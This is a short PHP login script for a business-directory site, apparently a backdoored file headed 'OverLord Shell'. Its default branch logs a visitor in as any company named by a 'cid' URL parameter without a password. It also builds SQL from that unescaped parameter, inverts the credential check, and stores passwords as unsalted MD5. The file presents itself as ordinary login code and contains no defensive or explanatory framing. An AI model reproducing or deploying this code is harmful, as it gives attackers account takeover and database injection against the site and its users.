OverLord Shell

<?php
include("db/conn.php");
if($aflag=='a'){
if($_SERVER['REQUEST_METHOD']!='POST' || empty($_POST)){echo "404.php";exit;}



$username=$connection->real_escape_string($_POST['username']);
$password=$connection->real_escape_string(trim($_POST['password']));

if(empty($username) || empty($password)){echo "Invalid Username or Password";exit;}
else{
	 	 $loginq="SELECT * FROM busdir_mst_company WHERE (company_email='".$username."' OR username='".$username."') AND password='".md5($password)."'";
	
	$loginr=$connection->query($loginq);
	$loginrow=$loginr->fetch_assoc();
	 $count=$loginr->num_rows;
	$loginr->free();
		if($count!=1){
			 if($loginrow['active']=='y'){
								session_start();
								$_SESSION['plans']=$loginrow['plans']; // user plan
								$_SESSION['company_id']=$loginrow['company_id'];//user id
								$_SESSION['company_name']=$loginrow['company_name'];//user name
								$_SESSION['company_id']=$loginrow['company_id'];//user id
								$_SESSION['company_name']=$loginrow['company_name'];//user name
								$_SESSION['loggedin']=true;//user login 
								$_SESSION['loggedin_user']="company";//login by 
								echo "success"."~".$_SESSION['plans'];
							}
							else 
							{
								echo "User Account Disabled. Contact <strong>Admin</strong>.";
							}
					}
		}
	$connection->close();

}else
{
	$log1="SELECT * FROM busdir_mst_company WHERE company_id='".$_GET['cid']."'";
	$loginr1=$connection->query($log1);
	$loginrow1=$loginr1->fetch_assoc();
		$cnt=$loginr1->num_rows;
		if($cnt==1){
			session_start();
		 $_SESSION['plans']=$loginrow1['plans']; // user plan
			$_SESSION['company_id']=$loginrow1['company_id'];//user id
			$_SESSION['company_name']=$loginrow1['company_name'];//user name
			$_SESSION['company_id']=$loginrow1['company_id'];//user id
			$_SESSION['company_name']=$loginrow1['company_name'];//user name
			$_SESSION['loggedin']=true;//user login 
			$_SESSION['loggedin_user']="company";//login by 
			
			header('Location: dashboard.php');
			exit;
		}
	
}


?>